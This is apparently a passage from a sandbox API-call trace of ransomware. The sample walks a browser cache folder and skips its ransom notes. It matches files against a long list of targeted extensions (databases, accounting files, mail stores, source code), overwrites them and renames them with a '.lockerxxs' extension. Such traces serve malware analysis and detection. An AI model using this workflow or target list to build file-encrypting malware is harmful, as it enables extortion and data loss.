Files\\Low\\Content.IE5\\ABV8L7MY\\DevCMDL2.2.18[1].eot") returned="DevCMDL2.2.18[1].eot" [0082.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.462] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.463] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="e151e5[1].gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" [0082.463] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5101afd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5101afd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5101afd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x24e29, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="e4-190963-91cdfbc1[1].txt", cAlternateFileName="E4-190~1.TXT")) returned 1 [0082.463] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="e4-190963-91cdfbc1[1].txt") returned 1 [0082.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="e4-190963-91cdfbc1[1].txt") returned 1 [0082.463] lstrcmpiA (lpString1="", lpString2="e4-190963-91cdfbc1[1].txt") returned -1 [0082.463] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif") returned="e151e5[1].gif" [0082.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.463] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.463] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.464] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="e4-190963-91cdfbc1[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" [0082.464] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" [0082.464] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" [0082.464] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt." [0082.464] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.lockerxxs" [0082.464] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.465] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24e29 [0082.465] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5101afd0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5101afd0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5101afd0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.465] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.465] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x24e03, lpOverlapped=0x0) returned 1 [0082.469] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt") returned="e4-190963-91cdfbc1[1].txt" [0082.470] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.470] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x24e03, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x24e03, lpOverlapped=0x0) returned 1 [0082.471] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.471] CloseHandle (hObject=0xa4) returned 1 [0082.481] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt.lockerxxs")) returned 1 [0082.483] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60b5eb80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60b5eb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60f89200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf8f5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="eula_text[1].htm", cAlternateFileName="EULA_T~1.HTM")) returned 1 [0082.483] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.483] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula_text[1].htm") returned -1 [0082.483] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula_text[1].htm") returned 1 [0082.483] lstrcmpiA (lpString1="", lpString2="eula_text[1].htm") returned -1 [0082.483] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt") returned="e4-190963-91cdfbc1[1].txt" [0082.483] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.483] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.483] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.483] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.483] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="eula_text[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" [0082.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.ems") returned 0 [0082.483] lstrlenA (lpString="*.ems") returned 5 [0082.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.db") returned 0 [0082.483] lstrlenA (lpString="*.db") returned 4 [0082.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.dbf") returned 0 [0082.483] lstrlenA (lpString="*.dbf") returned 5 [0082.483] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.myox") returned 0 [0082.484] lstrlenA (lpString="*.myox") returned 6 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.myo") returned 0 [0082.484] lstrlenA (lpString="*.myo") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbw") returned 0 [0082.484] lstrlenA (lpString="*.qbw") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbb") returned 0 [0082.484] lstrlenA (lpString="*.qbb") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbm") returned 0 [0082.484] lstrlenA (lpString="*.qbm") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbo") returned 0 [0082.484] lstrlenA (lpString="*.qbo") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbx") returned 0 [0082.484] lstrlenA (lpString="*.qbx") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qba") returned 0 [0082.484] lstrlenA (lpString="*.qba") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qby") returned 0 [0082.484] lstrlenA (lpString="*.qby") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qbj") returned 0 [0082.484] lstrlenA (lpString="*.qbj") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.ofx") returned 0 [0082.484] lstrlenA (lpString="*.ofx") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.qif") returned 0 [0082.484] lstrlenA (lpString="*.qif") returned 5 [0082.484] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.mye") returned 0 [0082.485] lstrlenA (lpString="*.mye") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.mbox") returned 0 [0082.485] lstrlenA (lpString="*.mbox") returned 6 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.eml") returned 0 [0082.485] lstrlenA (lpString="*.eml") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.pst") returned 0 [0082.485] lstrlenA (lpString="*.pst") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.ost") returned 0 [0082.485] lstrlenA (lpString="*.ost") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.idx") returned 0 [0082.485] lstrlenA (lpString="*.idx") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.dbx") returned 0 [0082.485] lstrlenA (lpString="*.dbx") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.sql") returned 0 [0082.485] lstrlenA (lpString="*.sql") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.mdb") returned 0 [0082.485] lstrlenA (lpString="*.mdb") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.fdb") returned 0 [0082.485] lstrlenA (lpString="*.fdb") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.wab") returned 0 [0082.485] lstrlenA (lpString="*.wab") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.dat") returned 0 [0082.485] lstrlenA (lpString="*.dat") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.txt") returned 0 [0082.485] lstrlenA (lpString="*.txt") returned 5 [0082.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.jpeg") returned 0 [0082.486] lstrlenA (lpString="*.jpeg") returned 6 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.jpg") returned 0 [0082.486] lstrlenA (lpString="*.jpg") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.png") returned 0 [0082.486] lstrlenA (lpString="*.png") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.php") returned 0 [0082.486] lstrlenA (lpString="*.php") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.cs") returned 0 [0082.486] lstrlenA (lpString="*.cs") returned 4 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.cpp") returned 0 [0082.486] lstrlenA (lpString="*.cpp") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.rar") returned 0 [0082.486] lstrlenA (lpString="*.rar") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.zip") returned 0 [0082.486] lstrlenA (lpString="*.zip") returned 5 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.html") returned 0 [0082.486] lstrlenA (lpString="*.html") returned 6 [0082.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", pszSpec="*.htm") returned 1 [0082.486] lstrlenA (lpString="*.htm") returned 5 [0082.486] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS 